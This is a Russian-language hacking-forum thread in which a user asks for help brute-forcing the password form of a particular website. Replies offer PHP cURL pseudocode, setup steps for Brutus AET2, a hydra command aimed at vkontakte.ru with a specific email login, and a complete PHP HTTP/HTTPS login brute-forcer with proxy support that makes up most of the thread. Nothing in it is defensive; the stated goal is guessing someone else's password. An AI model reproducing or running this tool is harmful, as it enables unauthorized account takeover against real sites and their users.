Простой брутфорсер HTML-формы

Статус
В этой теме нельзя размещать новые ответы.

renegad

Постоялец
Регистрация
16 Авг 2008
Сообщения
84
Реакции
29
Есть сайт, на странице которого находится форма с паролем (имя поля для ввода пароля "pass"), помогите примером кода, как сделать брутфорсер для этого сайта, перебирающий пароли из словаря.
 
словарь это txt файл со словами?
Тогда просто,
$pass = file("словарь.txt");
for ($i=0;$i<count($pass);$i++) {
траляля курл.....

курлсетопт POST 1

$post = array(
"имя формы" => $pass[$i],
"имя кнопки" => "ok,
)

курлсетопт POSTFIElDS, $post

}


ну а дальше дело тезгники... регекспами парсишь $result, если ошибка неверно - дальше, если нормально - то записываем в файл, делаем exit();
 
траляля курл.....
курлсетопт POST 1
курлсетопт POSTFIElDS, $post

А можно в этих местах поподробнее? Тут все таки раздел "PHP для начинающих". :)

И про регэкспы если можно тоже..

Имя формы=pass
Имя кнопки=submit
При вводе неправильного пароля выдает сообщение: wrong password
 
Подробнее про curl
Раздел "PHP для начинающих" не значит, что за тебя всё сделают - тебе дали лопату, а копать, будь добр сам, по другому не научишься.
 
сорри за оффтоп, а чем
Brutus AET version 2 под Win32 - универсальный переборщик пассов, не устраивает ?
Для подбора паролей в Web-интерфейсе надо выбрать тип HTTP Forms, далее нажимаешь "modify sequence", появляется еще одно окно, куда вводишь адрес формы и нажимаешь learn form setting. Программа считывает нужную форму, после этого ты из списка полей выбираешь нужные поля (обычно они так и называются: username и password) и указываешь, какое из них является логином, а какое паролем. Еще надо задать отрицательный ответ сервера (т.е. когда пароль не подходит). В качестве него берешь слова, которые появляются при неправильном вводе пароля

+ есть ещё hydra
запускаем софтину через командную строку и набираем, пример для vkontakte.ru
hydra -l stagiosl%40guerrillamail.biz -P pass.txt vkontakte.ru http-post-form "/login.php:email=^USER^&pass=^PASS^:Такой"
 
Вот простой на php
PHP:
<html>
<head><title>HTTP/HTTPS form bruter by Crazy_G1uk</title>
<style>
body
{
background-color: #1a1a1a;
font-size: 10px;
font-family: verdana, tahoma;
color: #666666;
}
textarea
{
font-family: verdana, tahoma;
font-size: 10px;
color: grey;
background-color: #1a1a1a;
border: 1px #333333 solid;
}
a
{
font-size: 10px;
text-decoration: none;
color: grey;
}
</style>
</head>
<body>
<form method=post>
URL:<br>
<input type=text name="url"><br>
Type:<br>
<select name="type">
       <option value="http">http
 <option value="https">https
</select><br>
Columns:<br>
<textarea name="columns" cols=23>
login={login}&pass={pass}
</textarea><br>
Login:<br>
<input type=text name="login"><br>
Dict file:<br>
<input type=text name='dict'><br>
Text(auth failed):<br>
<input type=text name='bad'><br>
Proxy:*<br>
<input type=text name='proxy'><br>
<input type=submit value="Start"><br>
</form>
<b><textarea rows=10 cols=23>
<?php
set_time_limit(0);
if ($_POST['url'] && $_POST['type'] && $_POST['columns'] && $_POST['login'] && $_POST['dict'] && $_POST['bad']) {
 $dict=@fopen(trim($_POST['dict']),'r');
 $cols=trim($_POST['columns']);
 $url=trim($_POST['url']);
 $login=trim($_POST['login']);
 $bad=trim($_POST['bad']);
 if ($_POST['type']=='https') {
while(!feof($dict)) {
 $pass=trim(fgets($dict));
 $postdata=str_replace('{login}',$login,$cols);
 $postdata=str_replace('{pass}',$pass,$postdata);
 $curl = curl_init($url);
 curl_setopt ($curl, CURLOPT_HEADER, 0);
 if ($proxy=trim($_POST['proxy'])) {
 curl_setopt ($curl, CURLOPT_PROXY, $proxy); 
 }
 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
 curl_setopt ($curl, CURLOPT_POST, 1);
 curl_setopt ($curl, CURLOPT_POSTFIELDS, $postdata);
 curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER, 0);
 curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt ($curl, CURLOPT_SSL_VERIFYHOST, 1);
 $res = curl_exec ($curl);
 curl_close ($curl); 
 if(strpos($res,'200') && !strpos($res,$bad)) {
  echo $login.':'.$pass.'    Done!';
  exit;
 }
   }
echo 'Password not found';
 }
 else {
while(!feof($dict)) {
$pass=trim(fgets($dict));
 $postdata=str_replace('{login}',$login,$cols);
 $postdata=str_replace('{pass}',$pass,$postdata);
 $curl = curl_init($url); 
 curl_setopt ($curl, CURLOPT_HEADER, 1);
 if ($proxy=trim($_POST['proxy'])) {
 curl_setopt ($curl, CURLOPT_PROXY, $proxy); 
 }
 curl_setopt($curl, CURLOPT_FAILONERROR, 0); 
 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
 curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
 curl_setopt($curl, CURLOPT_POST, 1); 
 curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata); 
 $res = curl_exec ($curl);
 curl_close($curl); 
 if(!strpos($res,$bad)) {
  echo $login.':'.$pass.'    Done!';
  exit;
 }
}
echo 'Password not found';
 }
}
?>
</textarea></b><br><br><p>(c)oded by <b>Crazy_G1uk || dark_gluk</b> <br>

</body>
</html>
 
сорри за оффтоп, а чем
Brutus AET version 2 под Win32 - универсальный переборщик пассов, не устраивает ?
Для подбора паролей в Web-интерфейсе надо выбрать тип HTTP Forms, далее нажимаешь "modify sequence", появляется еще одно окно, куда вводишь адрес формы и нажимаешь learn form setting. Программа считывает нужную форму, после этого ты из списка полей выбираешь нужные поля (обычно они так и называются: username и password) и указываешь, какое из них является логином, а какое паролем. Еще надо задать отрицательный ответ сервера (т.е. когда пароль не подходит). В качестве него берешь слова, которые появляются при неправильном вводе пароля

Brutus AET2 я уже пробовал, все настраивал как ты написал, HTTP (Form), в Modify sequence вбил урл сайта где запрос пароля, обучил что pass это поле пароля, дальше нажимаю Start, пробуется первый пароль из вордлиста и тишина, только мигают внизу Timeout и Throttle, остальные пароли не перебираются :(
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху